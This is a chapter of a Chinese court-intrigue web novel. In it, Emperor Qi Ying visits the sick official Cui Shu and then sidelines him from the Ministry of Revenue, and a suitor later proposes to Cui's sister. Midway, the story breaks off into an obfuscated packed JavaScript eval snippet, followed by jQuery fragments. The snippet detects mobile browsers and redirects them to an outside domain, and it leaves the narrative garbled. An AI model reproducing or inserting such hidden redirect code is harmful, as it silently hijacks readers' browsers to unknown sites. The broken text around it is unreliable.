36. 青萍之末(五)

作品:《请不要再进啦

    齐应一身玄色,清癯的身形在雪中愈显萧索。


    崔述看过去,动作为之一滞,才拱手道礼:“天冷夜寒,陛下远道来此,为人臣子,满心愧然。”


    “这几日天又发寒得厉害,带孙太医来替你瞧瞧。”齐应反客为主,“进内院吧,里边儿说话暖和些。”


    三人进到西暖阁,奉和命人新添上两盆烧得滚红的炭。


    室内陡然热起来,齐应解下玄氅,于主位落座。


    崔述与孙太医在下首陪坐,号过脉后,孙太医道:“崔少师这身子,实有匮乏之症,脉象有虚浮之迹,望日后俭省心力,务以休息为要。”


    “心力不济不算大事,唯畏寒一症,还望孙太医赐良药以病除。”崔述道,“冬日易感风寒,常误要事,实受其扰。”


    孙太医面色陡沉:“畏寒是先前受寒症落了病根,若冬日里以休养为要,不劳心劳力,辅以良药,三五年间也当病愈。独心力暗亏,实是最损身子根基,还望崔少师听我一言,勿忧思,勿操劳。”


    崔述应下:“是。我记牢了,谢孙太医。”


    奉和上前引孙太医下去开方。


    崔述这时才问:“陛下深夜到访,是有急事?若有事相商,召臣入宫便可,陛下何须亲自来访,受这舟车劳顿。”


    齐应伸出手来烤火,炭火灼气激得他又是一阵咳嗽,侍从忙呈上药茶来,他浅啜了一口,慢慢将咳嗽止住,才说:“我身子近来不大爽利,除朝会外,甚少召见臣工,与你也已有许久未曾单独说过话了。”


    “陛下保重龙体。”


    “我这是娘胎里带来的病根,三十余年,已受够磋磨,知晓沉苛缠身的难捱。”


    齐应慢慢接道:“沧州旧事,为防有心人跟踪查探看出端倪,力求以假乱真,累你一路吃了不少苦头,更受伤患疾。”


    “这几年里,我心里始终过意不去,赠了多少良药与你,但总不见效,岁初你还仍因染病告假了不少时日。”


    雪打窗棂,齐应循声看去,被紧闭的窗户阻了视线。


    “连日寒气砭骨,我身上这症状一加重,便惦记起你来,怕你旧疾复发,日子难捱,正好今日政务少些,便亲自带太医过来瞧瞧。”


    崔述起身谢恩:“陛下身子不适,仍挂念臣,臣感激涕零,难以言表。”


    齐应再饮药茶,将喉间的干痒之意压了下去,道:“不必多礼,我既是私下来看你,便不必拘于君臣虚礼。”


    待他重新落座,齐应才接道:“查账追缴一事,前后持续将近一年,几乎全赖你一人筹谋,又是件艰辛事,让你费了不少心神。临近年关,除了东宫课业那头免不了还要你多费心,余的还是多歇着。”


    他踌躇了片刻,才道:“我思来想去,户部这头,还是应当擢一个得力些的尚书,替你减些负担,你意下如何?”


    “尚书之位空缺已久,臣以侍郎身份领户部事也已逾一年,终究不合常法,朝中亦非议良久。陛下确实应当速速斟酌好人选,臣也好乐得清静。”


    “述安。”齐应唤了一声,却没有接着往下说。


    炭火烘得他面色近乎酡红,崔述抬眸看他一眼,没有应声。


    “述安,我不愿与你离心。”


    齐应话说得慢,竭力克制着胸腔内涌动的躁郁之气,才能以平静的语气将这一番话说来。


    “你我君臣走至今日,既无盟约相束,亦无利益相诱,全凭丹心相照。”


    “述安,无论何时何境,你都不能疑我。”


    “光通宁河工事这一件,便将太仓掏了个干净,但事涉万民,不能不修。巧妇难为无米之炊,多少抱负尚未施为,便阻在了这内里虚空的太仓上。你这一出,实是解了燃眉之急。”


    齐应猛然又咳了起来,身子震颤,以帕捂口的手颤得几要贴不住脸。


    侍从心惊,忙上前奉药。


    崔述心念微动,却没有动作,仍旧坐在原处。


    齐应摆手将人屏退,自个儿咽了一口药茶,慢慢往下说:“这一年间,你面上不显,里头多少难事,也不曾全数向我吐露,但我知晓与众为敌有多不易。我又未曾明面上站出来全力支持你,朝臣见我如此,心怀叵测者众多,推诿攻诘乃至谩骂者亦不鲜见。这一路走得艰难,全凭你之心力,步步筹谋推动,是我对不住你。”


    这番话说得恳切,崔述隐有动容,终是道:“为陛下分忧,为臣本分。”


    “钱粮民生,无一不是重中之重。户部本是让你大展身手之地,但你年纪太轻,在朝资历不高,我已破格提你入政事堂议事,在此之前,国朝一百余年,还不曾有过像你这般年纪的中枢大臣,若再让你兼户部尚书,恐声讨之声将不绝于耳,这才取了个折中之法,让你先入中枢,再以中枢大臣并户部左侍郎之身份暂摄尚书事,待有合适的尚书人选再行任命,由是朝中非议之声才小了许多。


    “但经查账追缴一事,朝中对你的不满之声又甚嚣尘上。值此关头,户部事先由新任尚书接手总领,政事堂中,徐相亦有主见,你不必过多操心,先安心歇息一阵。等过些时日,我会给你个交代。”


    翻倍缴银以获捐免,在儒生口中是毫无疑义的变相敛财手段,并不因贪官坐赃而具备完全的正当性。而齐应最后一道加等处罚的诏令,则更是被认为用典太重。


    加上这大半年里朝中上下累积的怨气,需要有一个泄愤的出口,才能平息廷臣之怒。


    他为帝王手中刀,集聚了大多怨望,如此自然是最佳抉择。


    崔述深谙此理,亦无分辨之辞,只淡然垂首领命:“但凭陛下安排。”


    齐应要走,崔述起身相送,却被阻下:“天寒,你莫出去了。”


    崔述依言住脚,叫奉和代为送客。


    待人走远,崔述行至廊下,仰头去看半空洋洋洒洒的飘雪。


    一粒雪沫子砸下来,悄无声息地没入衣领,令他在无人处倏地一激灵。


    昭宁元年的末尾,便在这场纷纷扬扬的大雪中迤然远去。


    纵有圣手开方,到底没能抵御得过这场寒彻骨,崔述年关前便病得厉害,称病不朝。


    齐应提拔度支清吏司中清账首功的清正老臣为户部尚书,统


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16321548|183129||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    领部中一应事宜,并大幅调整户部人事。又因崔述告长假,以政事堂中政务繁忙、要员缺失为由,补一名翰林重臣议事。


    一时间,崔述身上便只剩一个太子少师的闲差,偏因告病,连明德殿的例行讲学也推脱不去,彻底淡出朝堂。


    虽无明文贬黜,却实失圣心,明光殿这般暧昧态度叫朝臣琢磨不透,官员们私下聚头,总免不了要嚼上几句舌根。


    崔述则浑然不觉,闭门谢客,趁此机会,四下延请名医,认真调理起身子来。


    虽见效甚微,但见他当真静心养身,奉和喜不自胜,每日乐此不疲,试遍民间良方。


    崔述见他用心良苦,愈发配合,日复一日地喝着那并无太多效用的苦药。


    年夜那日一早,蒋萱便派人来请他回府相叙。崔述未应,蒋萱便特地吩咐厨房晚间菜膳皆多备一道,预备送往别业。


    消息传到崔公耳里,崔公勃然大怒,当即制止。


    是夜别馆仆从准备了一桌尚算丰盛的晚膳,崔述尚在病中,食欲寡淡,于是令诸仆役入席自便,自个儿则早早回了寝屋。


    奉和在外看了半日,叹道:“郎君心里想必不好受。”


    “手中刃,盛时则用,衰时则弃,从来如此。”束关往嘴里倒了一口寒刀烈。


    酒气熏人,奉和跳起来将他往外撵,声音不觉间提得老高:“郎君尚在病中,不宜沾酒气,你离远些再过酒瘾去。”


    纷闹声远去,里间的灯倏然灭了。


    昭宁元年的最后一夜,悄然远去。


    翌日宫中大朝,崔述亦称病未出席。宫中数下恩赏旨意,亦无崔府在列。


    至此,朝臣基本揣测清楚圣意,心思又活络起来。


    这起朝中近来最大的人事更迭,终在百官的议论声中落定。年节里的崔府门庭,亦不似去岁崔述尚为天子近臣时那般车马盈门。


    正月初五,众人年节相贺已近尾声,方在大朝上大受表彰恩赏的永定侯长子、刑部右侍郎薛向携厚礼至崔府拜会。


    彼时崔允望正与其有一搭没一搭地叙着闲话,套问他在这节点前来的目的。


    谁知薛向起身,执后辈礼,铿然道:“晚生薛明劭,特来求娶贵府千金崔二姑娘。”


    先因追缴赃银一事,群臣大肆弹劾崔述脱逃旧事,崔允望与崔则也被弹劾包庇窝藏应当同坐。后又因齐应调整人事,崔述在朝中的地位一落千丈。


    连番遭遇打击,虽未被治罪,但崔家如今在朝中的地位不可谓不尴尬。


    众人明面不好避,私底下算盘怕已打了不下百轮,都是人情练达的人精,各个变着法地寻由头远离。连长袖善舞的蒋萱这回都犯了难,不知当去谁家拜贺。


    崔允望如何不知崔家如今处境,是以当面前这位炙手可热的永定侯长子说出这话的时候,他几乎有些怀疑自个儿听错了,不得不再次确认了一遍:“你说什么?”


    然而薛向目的明确,未加遮掩,径直道:“晚生欲求娶崔二姑娘,还望崔公允准。”


    不啻平地惊雷,连空中细雪都短暂地悬滞了一息。